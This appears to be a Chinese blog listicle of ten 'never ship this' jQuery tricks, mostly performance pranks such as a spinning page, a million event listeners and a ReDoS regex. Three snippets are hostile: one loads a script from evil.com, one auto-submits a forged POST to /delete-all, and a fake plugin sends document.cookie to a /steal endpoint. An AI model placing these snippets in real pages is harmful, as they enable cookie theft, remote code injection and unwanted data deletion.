邪修 jQuery ,10 段“千萬別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇,切勿真用!
?? 每條都可能:性能崩、內(nèi)存漏、SEO 死、維護成本 ∞
面試炫技 OK,項目敢用就等死!
1?? 一行全站旋轉(zhuǎn)木馬
$('html').append('<style>html{animation:spin 10s linear infinite}@keyframes spin{to{transform:rotate(360deg)}}</style>');
整個頁面像陀螺,用戶 3 秒暈厥。
2?? 無限事件監(jiān)聽器
for (let i = 0; i < 1e6; i++) $(window).on('resize', () => {});
百萬監(jiān)聽器,Chrome 直接卡爆。
3?? 動態(tài)創(chuàng)建木馬腳本
$('body').append(`<script src="https://evil.com/x.js"></script>`);
運行時插外鏈,CSP 形同虛設(shè)。
4?? 隱式全局變量泄漏
$('input').each(function(){ evilVar = $(this).val(); });
未聲明變量污染
window
,調(diào)試器原地迷路。
5?? 鏈式地獄 + 隱式回調(diào)
$('#btn').click(() => $('#btn').click(() => $('#btn').click(...)));
無限套娃回調(diào),棧溢出分分鐘。
6?? 偽造表單提交
$('<form method="post" action="/delete-all"><input name="confirm" value="1"></form>').submit();
無用戶交互直接 POST,CSRF 一鍵觸發(fā)。
7?? 隱藏元素占滿內(nèi)存
setInterval(() => $('body').append('<div style="display:none">??</div>'), 1);
DOM 節(jié)點秒級增長,內(nèi)存泄漏到爆炸。
8?? 正則回溯炸彈
/^(a+)+$/.test('a'.repeat(30)); // 指數(shù)級回溯
30 個
a
讓 Chrome 直接卡死(ReDoS)。
9?? 動態(tài)樣式無限循環(huán)
setInterval(() => $('body').css('filter', 'hue-rotate(' + Math.random() * 360 + 'deg)'), 16);
16 ms 一幀,GPU 100%,風扇起飛。
?? 利用 $.fn
擴展木馬
$.fn.evil = function () {
$.get('/steal?cookie=' + encodeURIComponent(document.cookie));
return this;
};
$('body').evil();
偽裝成 jQuery 插件,一鍵竊取 Cookie。
邪修口訣
“鏈式當迷宮,事件當炸彈;
DOM 當黑洞,性能當煙花。”
PS
想要正經(jīng)學習 jQuery ,從編程獅的《jQuery 入門課程》開始!